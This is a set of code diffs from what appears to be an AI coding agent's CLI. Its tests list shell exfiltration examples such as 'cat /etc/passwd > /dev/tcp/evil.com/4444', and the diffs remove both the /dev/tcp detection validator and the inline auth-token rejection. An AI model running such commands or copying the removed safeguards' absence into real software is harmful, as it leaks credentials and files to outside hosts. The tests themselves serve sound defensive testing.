// ─── Redirection targets in compound commands ────────────────
test("blocks cd + redirect compound", () => {
const result = bashCommandIsSafe_DEPRECATED(
'cd .claude && echo "malicious" > settings.json',
);
// Should be blocked — cd + redirect in compound is dangerous
expect(result.behavior).toBe("ask");
});
// ─── Security of compound commands with dangerous subcommands ─
test("blocks compound with /dev/tcp redirect", () => {
const result = bashCommandIsSafe_DEPRECATED(
"cat /etc/passwd > /dev/tcp/evil.com/4444",
);
expect(result.behavior).toBe("ask");
});
test("blocks compound with network device in && chain", () => {
const result = bashCommandIsSafe_DEPRECATED(
"echo hello && cat /etc/passwd > /dev/tcp/evil.com/4444",
);
expect(result.behavior).toBe("ask");
});
});

View File

@@ -1,124 +0,0 @@
import { describe, expect, test } from "bun:test";
import { bashCommandIsSafe_DEPRECATED } from "../bashSecurity";
describe("network device redirect detection (/dev/tcp, /dev/udp)", () => {
// ─── TCP output redirect — should block ──────────────────────
test("blocks echo > /dev/tcp/evil.com/4444", () => {
const result = bashCommandIsSafe_DEPRECATED(
'echo "secrets" > /dev/tcp/evil.com/4444',
);
expect(result.behavior).toBe("ask");
});
test("blocks echo >> /dev/tcp/evil.com/4444", () => {
const result = bashCommandIsSafe_DEPRECATED(
'echo "data" >> /dev/tcp/evil.com/4444',
);
expect(result.behavior).toBe("ask");
});
test("blocks output redirect to /dev/tcp with IP address", () => {
const result = bashCommandIsSafe_DEPRECATED(
"echo test > /dev/tcp/10.0.0.1/8080",
);
expect(result.behavior).toBe("ask");
});
// ─── UDP redirect — should block ─────────────────────────────
test("blocks echo > /dev/udp/evil.com/1234", () => {
const result = bashCommandIsSafe_DEPRECATED(
"echo test > /dev/udp/evil.com/1234",
);
expect(result.behavior).toBe("ask");
});
test("blocks output redirect to /dev/udp with IP", () => {
const result = bashCommandIsSafe_DEPRECATED(
"echo data >> /dev/udp/10.0.0.1/53",
);
expect(result.behavior).toBe("ask");
});
// ─── Input redirect from network device — should block ───────
test("blocks cat < /dev/tcp/evil.com/8080", () => {
const result = bashCommandIsSafe_DEPRECATED(
"cat < /dev/tcp/evil.com/8080",
);
expect(result.behavior).toBe("ask");
});
// ─── exec with network fd — should block ─────────────────────
test("blocks exec 3<>/dev/tcp/evil.com/4444", () => {
const result = bashCommandIsSafe_DEPRECATED(
"exec 3<>/dev/tcp/evil.com/4444",
);
expect(result.behavior).toBe("ask");
});
test("blocks exec with /dev/udp", () => {
const result = bashCommandIsSafe_DEPRECATED(
"exec 3<>/dev/udp/evil.com/53",
);
expect(result.behavior).toBe("ask");
});
// ─── Quoted variants — should block ──────────────────────────
test('blocks quoted /dev/tcp path', () => {
const result = bashCommandIsSafe_DEPRECATED(
'echo hi > "/dev/tcp/evil.com/4444"',
);
expect(result.behavior).toBe("ask");
});
test("blocks single-quoted /dev/tcp path", () => {
const result = bashCommandIsSafe_DEPRECATED(
"echo hi > '/dev/tcp/evil.com/4444'",
);
expect(result.behavior).toBe("ask");
});
// ─── cat with /dev/tcp as argument (not redirect) ────────────
test("blocks cat /dev/tcp/attacker.com/8080 (as argument)", () => {
const result = bashCommandIsSafe_DEPRECATED(
"cat /dev/tcp/attacker.com/8080",
);
expect(result.behavior).toBe("ask");
});
// ─── Should allow /dev/null — not a network device ───────────
test("allows echo > /dev/null", () => {
const result = bashCommandIsSafe_DEPRECATED("echo ok > /dev/null");
// /dev/null is safe — the command itself (echo) is benign
// It may still be 'ask' due to other validators, but NOT because of /dev/tcp
// Check that the message does NOT mention network device
if (result.behavior === "ask") {
expect(result.message).not.toContain("network");
expect(result.message).not.toContain("/dev/tcp");
}
});
test("allows echo >> /dev/null", () => {
const result = bashCommandIsSafe_DEPRECATED("echo ok >> /dev/null");
if (result.behavior === "ask") {
expect(result.message).not.toContain("network");
expect(result.message).not.toContain("/dev/tcp");
}
});
// ─── Normal redirects should still work ──────────────────────
test("allows ls > output.txt (normal redirect)", () => {
const result = bashCommandIsSafe_DEPRECATED("ls > output.txt");
// Should be safe (ls is read-only), redirect to normal file
if (result.behavior === "ask") {
expect(result.message).not.toContain("network");
}
});
// ─── Mixed with other dangerous patterns ─────────────────────
test("blocks compound command with /dev/tcp redirect", () => {
const result = bashCommandIsSafe_DEPRECATED(
"cat /etc/passwd > /dev/tcp/evil.com/4444",
);
expect(result.behavior).toBe("ask");
});
});

View File

@@ -98,7 +98,6 @@ const BASH_SECURITY_CHECK_IDS = {
BACKSLASH_ESCAPED_OPERATORS: 21,
COMMENT_QUOTE_DESYNC: 22,
QUOTED_NEWLINE: 23,
NETWORK_DEVICE_REDIRECT: 24,
} as const
type ValidationContext = {
@@ -2242,46 +2241,6 @@ function validateZshDangerousCommands(
}
}
/**
* Detects usage of Bash's network pseudo-device paths /dev/tcp/ and /dev/udp/.
*
* SECURITY: Bash interprets /dev/tcp/host/port and /dev/udp/host/port as
* network connections when used in redirects or as arguments to commands
* like cat. This allows data exfiltration without any network tools:
*
* echo "secrets" > /dev/tcp/evil.com/4444
* cat < /dev/tcp/evil.com/8080
* exec 3<>/dev/udp/evil.com/53
* cat /dev/tcp/attacker.com/8080
*
* These paths are NOT real filesystem entries — they are intercepted by Bash
* itself. Normal path validation (validatePath) cannot catch them because
* the files don't exist on disk.
*/
const NETWORK_DEVICE_PATH_RE =
/\/dev\/(tcp|udp)\/[^/\s"'`$]+\/\d+/i
function validateNetworkDeviceRedirect(
context: ValidationContext,
): PermissionResult {
// Check in fullyUnquotedContent to catch quoted variants like "/dev/tcp/..."
if (NETWORK_DEVICE_PATH_RE.test(context.fullyUnquotedContent)) {
logEvent('tengu_bash_security_check_triggered', {
checkId: BASH_SECURITY_CHECK_IDS.NETWORK_DEVICE_REDIRECT,
})
return {
behavior: 'ask',
message:
'Command uses /dev/tcp or /dev/udp network pseudo-device which can be used for network access',
}
}
return {
behavior: 'passthrough',
message: 'No network device redirects',
}
}
// Matches non-printable control characters that have no legitimate use in shell
// commands: 0x00-0x08, 0x0B-0x0C, 0x0E-0x1F, 0x7F. Excludes tab (0x09),
// newline (0x0A), and carriage return (0x0D) which are handled by other
@@ -2413,7 +2372,6 @@ export function bashCommandIsSafe_DEPRECATED(
validateMidWordHash,
validateBraceExpansion,
validateZshDangerousCommands,
validateNetworkDeviceRedirect,
// Run malformed token check last - other validators should catch specific patterns first
// (e.g., $() substitution, backticks, etc.) since they have more precise error messages
validateMalformedTokenInjection,
@@ -2607,7 +2565,6 @@ export async function bashCommandIsSafeAsync_DEPRECATED(
validateMidWordHash,
validateBraceExpansion,
validateZshDangerousCommands,
validateNetworkDeviceRedirect,
validateMalformedTokenInjection,
]

View File

@@ -1,5 +1,7 @@
import type { ToolResultBlockParam } from '@anthropic-ai/sdk/resources/index.mjs'
import type { StructuredPatchHunk } from 'diff'
import * as React from 'react'
import { Suspense, use, useState } from 'react'
import { FileEditToolUseRejectedMessage } from 'src/components/FileEditToolUseRejectedMessage.js'
import { MessageResponse } from 'src/components/MessageResponse.js'
import { extractTag } from 'src/utils/messages.js'
@@ -10,10 +12,19 @@ import { Text } from '@anthropic/ink'
import { FilePathLink } from 'src/components/FilePathLink.js'
import type { Tools } from 'src/Tool.js'
import type { Message, ProgressMessage } from 'src/types/message.js'
import { adjustHunkLineNumbers, CONTEXT_LINES } from 'src/utils/diff.js'
import { FILE_NOT_FOUND_CWD_NOTE, getDisplayPath } from 'src/utils/file.js'
import { logError } from 'src/utils/log.js'
import { getPlansDirectory } from 'src/utils/plans.js'
import { readEditContext } from 'src/utils/readEditContext.js'
import { firstLineOf } from 'src/utils/stringUtils.js'
import type { ThemeName } from 'src/utils/theme.js'
import type { FileEditOutput } from './types.js'
import {
findActualString,
getPatchForEdit,
preserveQuoteStyle,
} from './utils.js'
export function userFacingName(
input:
@@ -88,6 +99,8 @@ export function renderToolResultMessage(
<FileEditToolUpdatedMessage
filePath={filePath}
structuredPatch={structuredPatch}
firstLine={originalFile.split('\n')[0] ?? null}
fileContent={originalFile}
style={style}
verbose={verbose}
previewHint={isPlanFile ? '/plan to preview' : undefined}
@@ -103,7 +116,7 @@ export function renderToolUseRejectedMessage(
replace_all?: boolean
edits?: unknown[]
},
_options: {
options: {
columns: number
messages: Message[]
progressMessagesForMessage: ProgressMessage[]
@@ -113,14 +126,45 @@ export function renderToolUseRejectedMessage(
verbose: boolean
},
): React.ReactElement {
const { style, verbose } = _options
const { style, verbose } = options
const filePath = input.file_path
const isNewFile = input.old_string === ''
const oldString = input.old_string ?? ''
const newString = input.new_string ?? ''
const replaceAll = input.replace_all ?? false
// Defensive: if input has an unexpected shape, show a simple rejection message
if ('edits' in input && input.edits != null) {
return (
<FileEditToolUseRejectedMessage
file_path={filePath}
operation="update"
firstLine={null}
verbose={verbose}
/>
)
}
const isNewFile = oldString === ''
// For new file creation, show content preview instead of diff
if (isNewFile) {
return (
<FileEditToolUseRejectedMessage
file_path={filePath}
operation="write"
content={newString}
firstLine={firstLineOf(newString)}
verbose={verbose}
/>
)
}
return (
<FileEditToolUseRejectedMessage
file_path={filePath}
operation={isNewFile ? 'write' : 'update'}
<EditRejectionDiff
filePath={filePath}
oldString={oldString}
newString={newString}
replaceAll={replaceAll}
style={style}
verbose={verbose}
/>
@@ -157,3 +201,115 @@ export function renderToolUseErrorMessage(
}
return <FallbackToolUseErrorMessage result={result} verbose={verbose} />
}
type RejectionDiffData = {
patch: StructuredPatchHunk[]
firstLine: string | null
fileContent: string | undefined
}
function EditRejectionDiff({
filePath,
oldString,
newString,
replaceAll,
style,
verbose,
}: {
filePath: string
oldString: string
newString: string
replaceAll: boolean
style?: 'condensed'
verbose: boolean
}): React.ReactNode {
const [dataPromise] = useState(() =>
loadRejectionDiff(filePath, oldString, newString, replaceAll),
)
return (
<Suspense
fallback={
<FileEditToolUseRejectedMessage
file_path={filePath}
operation="update"
firstLine={null}
verbose={verbose}
/>
}
>
<EditRejectionBody
promise={dataPromise}
filePath={filePath}
style={style}
verbose={verbose}
/>
</Suspense>
)
}
function EditRejectionBody({
promise,
filePath,
style,
verbose,
}: {
promise: Promise<RejectionDiffData>
filePath: string
style?: 'condensed'
verbose: boolean
}): React.ReactNode {
const { patch, firstLine, fileContent } = use(promise)
return (
<FileEditToolUseRejectedMessage
file_path={filePath}
operation="update"
patch={patch}
firstLine={firstLine}
fileContent={fileContent}
style={style}
verbose={verbose}
/>
)
}
async function loadRejectionDiff(
filePath: string,
oldString: string,
newString: string,
replaceAll: boolean,
): Promise<RejectionDiffData> {
try {
// Chunked read — context window around the first occurrence. replaceAll
// still shows matches *within* the window via getPatchForEdit; we accept
// losing the all-occurrences view to keep the read bounded.
const ctx = await readEditContext(filePath, oldString, CONTEXT_LINES)
if (ctx === null || ctx.truncated || ctx.content === '') {
// ENOENT / not found / truncated — diff just the tool inputs.
const { patch } = getPatchForEdit({
filePath,
fileContents: oldString,
oldString,
newString,
})
return { patch, firstLine: null, fileContent: undefined }
}
const actualOld = findActualString(ctx.content, oldString) || oldString
const actualNew = preserveQuoteStyle(oldString, actualOld, newString)
const { patch } = getPatchForEdit({
filePath,
fileContents: ctx.content,
oldString: actualOld,
newString: actualNew,
replaceAll,
})
return {
patch: adjustHunkLineNumbers(patch, ctx.lineOffset - 1),
firstLine: ctx.lineOffset === 1 ? firstLineOf(ctx.content) : null,
fileContent: ctx.content,
}
} catch (e) {
// User may have manually applied the change while the diff was shown.
logError(e as Error)
return { patch: [], firstLine: null, fileContent: undefined }
}
}

View File

@@ -106,84 +106,6 @@ describe("findActualString", () => {
const result = findActualString("hello", "");
expect(result).toBe("");
});
// ── Tab/space normalization (Bug #2 reproduction) ──
test("finds match when search uses spaces but file uses tabs", () => {
// File content uses Tab indentation
const fileContent = "\tif (x) {\n\t\treturn 1;\n\t}";
// User copies from Read output which renders tabs as spaces
const searchWithSpaces = " if (x) {\n return 1;\n }";
const result = findActualString(fileContent, searchWithSpaces);
expect(result).not.toBeNull();
expect(result).toBe(fileContent);
});
test("finds match when search mixes tabs and spaces inconsistently", () => {
const fileContent = "\tconst x = 1; // comment";
const searchMixed = " const x = 1; // comment";
const result = findActualString(fileContent, searchMixed);
expect(result).not.toBeNull();
});
test("finds match for single-line tab-to-space mismatch", () => {
const fileContent = "\t\torder_price = NormalizeDouble(ask, digits);";
const searchSpaces = " order_price = NormalizeDouble(ask, digits);";
const result = findActualString(fileContent, searchSpaces);
expect(result).not.toBeNull();
});
// ── CJK / UTF-8 characters (Bug #1 reproduction) ──
test("finds match with CJK characters in content", () => {
const fileContent = "input int x = 620; // 止盈点数(点) — 32个pip=320点";
const result = findActualString(fileContent, fileContent);
expect(result).toBe(fileContent);
});
test("finds match with CJK characters when tab/space differs", () => {
const fileContent = "\t// 向上突破 → Sell Limit (逆方向做空)";
const searchSpaces = " // 向上突破 → Sell Limit (逆方向做空)";
const result = findActualString(fileContent, searchSpaces);
expect(result).not.toBeNull();
expect(result).toBe(fileContent);
});
// ── Multiline with tabs + CJK (combined Bug #1 + #2) ──
test("finds multiline match with tabs and CJK characters", () => {
const fileContent = "\tif(effective_dir == BREAKOUT_UP)\n\t\t{\n\t\t\t// 向上突破\n\t\t}";
const searchSpaces = " if(effective_dir == BREAKOUT_UP)\n {\n // 向上突破\n }";
const result = findActualString(fileContent, searchSpaces);
expect(result).not.toBeNull();
expect(result).toBe(fileContent);
});
// ── Returned string must be a valid substring of fileContent ──
test("returned string from tab match is a real substring of fileContent", () => {
const fileContent = "prefix\n\t\tindented code\nsuffix";
const searchSpaces = "prefix\n indented code\nsuffix";
const result = findActualString(fileContent, searchSpaces);
expect(result).not.toBeNull();
expect(fileContent.includes(result!)).toBe(true);
});
test("returned string from partial tab match is a real substring", () => {
const fileContent = "line1\n\tif (x) {\n\t\tdoStuff();\n\t}\nline5";
const searchSpaces = " if (x) {\n doStuff();\n }";
const result = findActualString(fileContent, searchSpaces);
expect(result).not.toBeNull();
expect(fileContent.includes(result!)).toBe(true);
});
test("tab match with mixed indentation levels", () => {
const fileContent = "class Foo {\n\t\tmethod1() {\n\t\t\treturn 42;\n\t\t}\n}";
const searchSpaces = "class Foo {\n method1() {\n return 42;\n }\n}";
const result = findActualString(fileContent, searchSpaces);
expect(result).not.toBeNull();
expect(fileContent.includes(result!)).toBe(true);
});
});
// ─── preserveQuoteStyle ─────────────────────────────────────────────────

View File

@@ -63,26 +63,9 @@ export function stripTrailingWhitespace(str: string): string {
return result
}
/**
* Normalizes whitespace for fuzzy matching by converting tabs to spaces
* and collapsing leading whitespace on each line to a canonical form.
* This handles the case where Read tool output renders tabs as spaces,
* so users copy spaces from the output but the file actually has tabs.
*/
function normalizeWhitespace(str: string): string {
return str.replace(/\t/g, ' ')
}
/**
* Finds the actual string in the file content that matches the search string,
* accounting for quote normalization and tab/space differences.
*
* Matching cascade:
* 1. Exact match
* 2. Quote normalization (curly → straight quotes)
* 3. Tab/space normalization (tabs ↔ spaces in leading whitespace)
* 4. Quote + tab/space normalization combined
*
* accounting for quote normalization
* @param fileContent The file content to search in
* @param searchString The string to search for
* @returns The actual string found in the file, or null if not found
@@ -106,92 +89,9 @@ export function findActualString(
return fileContent.substring(searchIndex, searchIndex + searchString.length)
}
// Try with tab/space normalization — handles the case where Read output
// renders tabs as spaces and the user copies the rendered version
const wsNormalizedFile = normalizeWhitespace(fileContent)
const wsNormalizedSearch = normalizeWhitespace(searchString)
const wsSearchIndex = wsNormalizedFile.indexOf(wsNormalizedSearch)
if (wsSearchIndex !== -1) {
// Map the match position back to the original file content.
// We need to find the corresponding range in the original string.
return mapNormalizedMatchBackToFile(fileContent, wsNormalizedFile, wsSearchIndex, wsNormalizedSearch.length)
}
// Try combined: quote normalization + tab/space normalization
const combinedFile = normalizeWhitespace(normalizedFile)
const combinedSearch = normalizeWhitespace(normalizedSearch)
const combinedIndex = combinedFile.indexOf(combinedSearch)
if (combinedIndex !== -1) {
return mapNormalizedMatchBackToFile(fileContent, combinedFile, combinedIndex, combinedSearch.length)
}
return null
}
/**
* Given a match found in a normalized version of fileContent, map the match
* position back to the original fileContent and extract the corresponding
* substring.
*
* Strategy: walk through both strings character by character, building a
* mapping from normalized offset to original offset. When a tab is expanded
* to 4 spaces in the normalized version, the normalized offset advances by 4
* while the original offset advances by 1.
*/
function mapNormalizedMatchBackToFile(
fileContent: string,
normalizedFile: string,
normalizedStart: number,
normalizedLength: number,
): string {
// Build a sparse mapping from normalized position → original position.
// We only need to map the range [normalizedStart, normalizedStart + normalizedLength].
let normPos = 0
let origPos = 0
let origStart = -1
let origEnd = -1
while (origPos < fileContent.length && normPos <= normalizedStart + normalizedLength) {
if (normPos === normalizedStart) {
origStart = origPos
}
if (normPos === normalizedStart + normalizedLength) {
origEnd = origPos
break
}
const origChar = fileContent[origPos]!
if (origChar === '\t') {
// Tab expands to 4 spaces in normalized version
const nextNormPos = normPos + 4
// If normalizedStart falls within this expanded tab, snap to origPos
if (normPos < normalizedStart && nextNormPos > normalizedStart && origStart === -1) {
origStart = origPos
}
if (normPos < normalizedStart + normalizedLength && nextNormPos > normalizedStart + normalizedLength && origEnd === -1) {
origEnd = origPos + 1
}
normPos = nextNormPos
origPos++
} else {
normPos++
origPos++
}
}
// Fallback: if we couldn't map precisely, use character-count heuristic
if (origStart === -1) origStart = 0
if (origEnd === -1) {
// Approximate: use the ratio of original to normalized length
const ratio = fileContent.length / normalizedFile.length
origEnd = Math.round(origStart + normalizedLength * ratio)
}
return fileContent.substring(origStart, origEnd)
}
/**
* When old_string matched via quote normalization (curly quotes in file,
* straight quotes from model), apply the same curly quote style to new_string

View File

@@ -1,6 +1,8 @@
import type { ToolResultBlockParam } from '@anthropic-ai/sdk/resources/index.mjs'
import { relative } from 'path'
import type { StructuredPatchHunk } from 'diff'
import { isAbsolute, relative, resolve } from 'path'
import * as React from 'react'
import { Suspense, use, useState } from 'react'
import { MessageResponse } from 'src/components/MessageResponse.js'
import { extractTag } from 'src/utils/messages.js'
import { CtrlOToExpand } from 'src/components/CtrlOToExpand.js'
@@ -15,8 +17,11 @@ import { FilePathLink } from 'src/components/FilePathLink.js'
import type { ToolProgressData } from 'src/Tool.js'
import type { ProgressMessage } from 'src/types/message.js'
import { getCwd } from 'src/utils/cwd.js'
import { getPatchForDisplay } from 'src/utils/diff.js'
import { getDisplayPath } from 'src/utils/file.js'
import { logError } from 'src/utils/log.js'
import { getPlansDirectory } from 'src/utils/plans.js'
import { openForScan, readCapped } from 'src/utils/readEditContext.js'
import type { Output } from './FileWriteTool.js'
const MAX_LINES_TO_RENDER = 10
@@ -132,19 +137,131 @@ export function renderToolUseMessage(
}
export function renderToolUseRejectedMessage(
{ file_path }: { file_path: string; content: string },
{ file_path, content }: { file_path: string; content: string },
{ style, verbose }: { style?: 'condensed'; verbose: boolean },
): React.ReactNode {
return (
<FileEditToolUseRejectedMessage
file_path={file_path}
operation="write"
<WriteRejectionDiff
filePath={file_path}
content={content}
style={style}
verbose={verbose}
/>
)
}
type RejectionDiffData =
| { type: 'create' }
| { type: 'update'; patch: StructuredPatchHunk[]; oldContent: string }
| { type: 'error' }
function WriteRejectionDiff({
filePath,
content,
style,
verbose,
}: {
filePath: string
content: string
style?: 'condensed'
verbose: boolean
}): React.ReactNode {
const [dataPromise] = useState(() => loadRejectionDiff(filePath, content))
const firstLine = content.split('\n')[0] ?? null
const createFallback = (
<FileEditToolUseRejectedMessage
file_path={filePath}
operation="write"
content={content}
firstLine={firstLine}
verbose={verbose}
/>
)
return (
<Suspense fallback={createFallback}>
<WriteRejectionBody
promise={dataPromise}
filePath={filePath}
firstLine={firstLine}
createFallback={createFallback}
style={style}
verbose={verbose}
/>
</Suspense>
)
}
function WriteRejectionBody({
promise,
filePath,
firstLine,
createFallback,
style,
verbose,
}: {
promise: Promise<RejectionDiffData>
filePath: string
firstLine: string | null
createFallback: React.ReactNode
style?: 'condensed'
verbose: boolean
}): React.ReactNode {
const data = use(promise)
if (data.type === 'create') return createFallback
if (data.type === 'error') {
return (
<MessageResponse>
<Text>(No changes)</Text>
</MessageResponse>
)
}
return (
<FileEditToolUseRejectedMessage
file_path={filePath}
operation="update"
patch={data.patch}
firstLine={firstLine}
fileContent={data.oldContent}
style={style}
verbose={verbose}
/>
)
}
async function loadRejectionDiff(
filePath: string,
content: string,
): Promise<RejectionDiffData> {
try {
const fullFilePath = isAbsolute(filePath)
? filePath
: resolve(getCwd(), filePath)
const handle = await openForScan(fullFilePath)
if (handle === null) return { type: 'create' }
let oldContent: string | null
try {
oldContent = await readCapped(handle)
} finally {
await handle.close()
}
// File exceeds MAX_SCAN_BYTES — fall back to the create view rather than
// OOMing on a diff of a multi-GB file.
if (oldContent === null) return { type: 'create' }
const patch = getPatchForDisplay({
filePath,
fileContents: oldContent,
edits: [
{ old_string: oldContent, new_string: content, replace_all: false },
],
})
return { type: 'update', patch, oldContent }
} catch (e) {
// User may have manually applied the change while the diff was shown.
logError(e as Error)
return { type: 'error' }
}
}
export function renderToolUseErrorMessage(
result: ToolResultBlockParam['content'],
{ verbose }: { verbose: boolean },
@@ -207,6 +324,8 @@ export function renderToolResultMessage(
<FileEditToolUpdatedMessage
filePath={filePath}
structuredPatch={structuredPatch}
firstLine={content.split('\n')[0] ?? null}
fileContent={originalFile ?? undefined}
style={style}
verbose={verbose}
previewHint={isPlanFile ? '/plan to preview' : undefined}

View File

@@ -84,48 +84,22 @@ Use this tool to discover messaging targets before sending cross-session message
// UDS socket directory. The implementation scans for live sockets
// and optionally includes Remote Control bridge peers.
const peers: PeerInfo[] = []
const seen = new Set<string>()
const addPeer = (peer: PeerInfo): void => {
if (seen.has(peer.address)) return
seen.add(peer.address)
peers.push(peer)
}
/* eslint-disable @typescript-eslint/no-require-imports */
const udsMessaging =
require('src/utils/udsMessaging.js') as typeof import('src/utils/udsMessaging.js')
const udsClient =
require('src/utils/udsClient.js') as typeof import('src/utils/udsClient.js')
const bridgePeers =
require('src/bridge/peerSessions.js') as typeof import('src/bridge/peerSessions.js')
/* eslint-enable @typescript-eslint/no-require-imports */
const messagingSocketPath = udsMessaging.getUdsMessagingSocketPath()
// Discovery is handled by the UDS messaging subsystem initialized in setup.ts.
// Return discovered peers from the app state.
const appState = context.getAppState()
const messagingSocketPath = (appState as Record<string, unknown>).messagingSocketPath as string | undefined
if (messagingSocketPath) {
// Self entry for reference
if (_input.include_self) {
addPeer({
address: udsMessaging.formatUdsAddress(messagingSocketPath),
peers.push({
address: `uds:${messagingSocketPath}`,
name: 'self',
pid: process.pid,
})
}
}
for (const peer of await udsClient.listPeers()) {
if (!peer.messagingSocketPath) continue
addPeer({
address: udsMessaging.formatUdsAddress(peer.messagingSocketPath),
name: peer.name ?? peer.kind,
cwd: peer.cwd,
pid: peer.pid,
})
}
for (const peer of await bridgePeers.listBridgePeers()) {
addPeer(peer)
}
return {
data: { peers },
}

View File

@@ -1,8 +1,14 @@
import { afterEach, beforeEach, describe, expect, mock, test } from 'bun:test'
import { authMock } from '../../../../../../tests/mocks/auth'
import { mkdir, readFile, rm } from 'fs/promises'
import { tmpdir } from 'os'
import { join } from 'path'
import {
resetStateForTests,
setOriginalCwd,
setProjectRoot,
} from 'src/bootstrap/state.js'
let requestStatus = 200
const auditRecords: Record<string, unknown>[] = []
mock.module('axios', () => ({
default: {
@@ -13,55 +19,37 @@ mock.module('axios', () => ({
},
}))
mock.module('src/utils/auth.js', authMock)
mock.module('src/utils/auth.js', () => ({
checkAndRefreshOAuthTokenIfNeeded: async () => {},
getClaudeAIOAuthTokens: () => ({ accessToken: 'token' }),
}))
mock.module('src/services/oauth/client.js', () => ({
getOrganizationUUID: async () => 'org',
}))
mock.module('src/services/analytics/growthbook.js', () => ({
getFeatureValue_CACHED_MAY_BE_STALE: () => true,
mock.module('src/constants/oauth.js', () => ({
getOauthConfig: () => ({ BASE_API_URL: 'https://example.test' }),
}))
mock.module('src/services/policyLimits/index.js', () => ({
isPolicyAllowed: () => true,
}))
let cwd = ''
let previousCwd = ''
// Narrow mock for the side-effectful entries in `src/constants/oauth.js`.
// Pure data exports (ALL_OAUTH_SCOPES, CLAUDE_AI_*_SCOPE, etc.) come from
// the real module and are not mocked, per the test policy that constants
// modules without side effects should not be replaced wholesale.
mock.module('src/constants/oauth.js', () => {
const actual = require('../../../../../../src/constants/oauth.js')
return {
...actual,
fileSuffixForOauthConfig: () => '',
getOauthConfig: () => ({ BASE_API_URL: 'https://example.test' }),
MCP_CLIENT_METADATA_URL: 'https://example.test/oauth/metadata',
}
})
mock.module('src/utils/remoteTriggerAudit.js', () => ({
appendRemoteTriggerAuditRecord: async (
record: Record<string, unknown>,
) => {
const fullRecord = {
auditId: `audit-${auditRecords.length + 1}`,
createdAt: Date.now(),
...record,
}
auditRecords.push(fullRecord)
return fullRecord
},
}))
beforeEach(() => {
beforeEach(async () => {
requestStatus = 200
auditRecords.length = 0
previousCwd = process.cwd()
cwd = join(tmpdir(), `remote-trigger-tool-${Date.now()}-${Math.random().toString(16).slice(2)}`)
await mkdir(cwd, { recursive: true })
process.chdir(cwd)
resetStateForTests()
setOriginalCwd(cwd)
setProjectRoot(cwd)
})
afterEach(() => {
auditRecords.length = 0
afterEach(async () => {
resetStateForTests()
process.chdir(previousCwd)
await rm(cwd, { recursive: true, force: true })
})
describe('RemoteTriggerTool audit', () => {
@@ -73,14 +61,13 @@ describe('RemoteTriggerTool audit', () => {
)
expect(result.data.audit_id).toBeString()
expect(result.data.audit_id).toBe('audit-1')
expect(auditRecords).toHaveLength(1)
expect(auditRecords[0]).toMatchObject({
action: 'run',
triggerId: 'trigger-1',
ok: true,
status: 200,
})
const raw = await readFile(
join(cwd, '.claude', 'remote-trigger-audit.jsonl'),
'utf-8',
)
expect(raw).toContain('"action":"run"')
expect(raw).toContain('"triggerId":"trigger-1"')
expect(raw).toContain('"ok":true')
})
test('writes an audit record before rethrowing validation failures', async () => {
@@ -93,11 +80,12 @@ describe('RemoteTriggerTool audit', () => {
),
).rejects.toThrow('run requires trigger_id')
expect(auditRecords).toHaveLength(1)
expect(auditRecords[0]).toMatchObject({
action: 'run',
ok: false,
error: 'run requires trigger_id',
})
const raw = await readFile(
join(cwd, '.claude', 'remote-trigger-audit.jsonl'),
'utf-8',
)
expect(raw).toContain('"action":"run"')
expect(raw).toContain('"ok":false')
expect(raw).toContain('run requires trigger_id')
})
})

View File

@@ -130,41 +130,6 @@ export type SendMessageToolOutput =
| RequestOutput
| ResponseOutput
const UDS_INLINE_TOKEN_MARKER = '#token='
function stripInlineUdsToken(target: string): string {
const markerIndex = target.indexOf(UDS_INLINE_TOKEN_MARKER)
return markerIndex === -1 ? target : target.slice(0, markerIndex)
}
function hasInlineUdsToken(to: string): boolean {
const addr = parseAddress(to)
// Empty-token markers are still inline-token attempts. Observable input
// redaction preserves "#token=" so cloned inputs remain rejected.
return (
addr.scheme === 'uds' && addr.target.includes(UDS_INLINE_TOKEN_MARKER)
)
}
function recipientForDisplay(to: string): string {
const addr = parseAddress(to)
if (addr.scheme !== 'uds') return to
return `uds:${stripInlineUdsToken(addr.target)}`
}
function redactInlineUdsTokenForRejection(to: string): string {
const addr = parseAddress(to)
if (addr.scheme !== 'uds') return to
const markerIndex = addr.target.indexOf(UDS_INLINE_TOKEN_MARKER)
if (markerIndex === -1) return to
return `uds:${addr.target.slice(0, markerIndex)}${UDS_INLINE_TOKEN_MARKER}`
}
function redactObservableInlineUdsToken(input: { to: string }): void {
if (!hasInlineUdsToken(input.to)) return
input.to = redactInlineUdsTokenForRejection(input.to)
}
function findTeammateColor(
appState: {
teamContext?: { teammates: { [id: string]: { color?: string } } }
@@ -576,17 +541,15 @@ export const SendMessageTool: Tool<InputSchema, SendMessageToolOutput> =
},
backfillObservableInput(input) {
if (typeof input.to !== 'string') return
redactObservableInlineUdsToken(input as { to: string })
if ('type' in input) return
if (typeof input.to !== 'string') return
if (input.to === '*') {
input.type = 'broadcast'
if (typeof input.message === 'string') input.content = input.message
} else if (typeof input.message === 'string') {
input.type = 'message'
input.recipient = recipientForDisplay(input.to)
input.recipient = input.to
input.content = input.message
} else if (typeof input.message === 'object' && input.message !== null) {
const msg = input.message as {
@@ -597,7 +560,7 @@ export const SendMessageTool: Tool<InputSchema, SendMessageToolOutput> =
feedback?: string
}
input.type = msg.type
input.recipient = recipientForDisplay(input.to)
input.recipient = input.to
if (msg.request_id !== undefined) input.request_id = msg.request_id
if (msg.approve !== undefined) input.approve = msg.approve
const content = msg.reason ?? msg.feedback
@@ -606,17 +569,16 @@ export const SendMessageTool: Tool<InputSchema, SendMessageToolOutput> =
},
toAutoClassifierInput(input) {
const recipient = recipientForDisplay(input.to)
if (typeof input.message === 'string') {
return `to ${recipient}: ${input.message}`
return `to ${input.to}: ${input.message}`
}
switch (input.message.type) {
case 'shutdown_request':
return `shutdown_request to ${recipient}`
return `shutdown_request to ${input.to}`
case 'shutdown_response':
return `shutdown_response ${input.message.approve ? 'approve' : 'reject'} ${input.message.request_id}`
case 'plan_approval_response':
return `plan_approval ${input.message.approve ? 'approve' : 'reject'} to ${recipient}`
return `plan_approval ${input.message.approve ? 'approve' : 'reject'} to ${input.to}`
}
},
@@ -668,17 +630,6 @@ export const SendMessageTool: Tool<InputSchema, SendMessageToolOutput> =
errorCode: 9,
}
}
if (
addr.scheme === 'uds' &&
hasInlineUdsToken(input.to)
) {
return {
result: false,
message:
'uds addresses must not include inline auth tokens; use the ListPeers address',
errorCode: 9,
}
}
if (input.to.includes('@')) {
return {
result: false,
@@ -802,19 +753,6 @@ export const SendMessageTool: Tool<InputSchema, SendMessageToolOutput> =
},
async call(input, context, canUseTool, assistantMessage) {
if (typeof input.message === 'string') {
const addr = parseAddress(input.to)
if (addr.scheme === 'uds' && hasInlineUdsToken(input.to)) {
return {
data: {
success: false,
message:
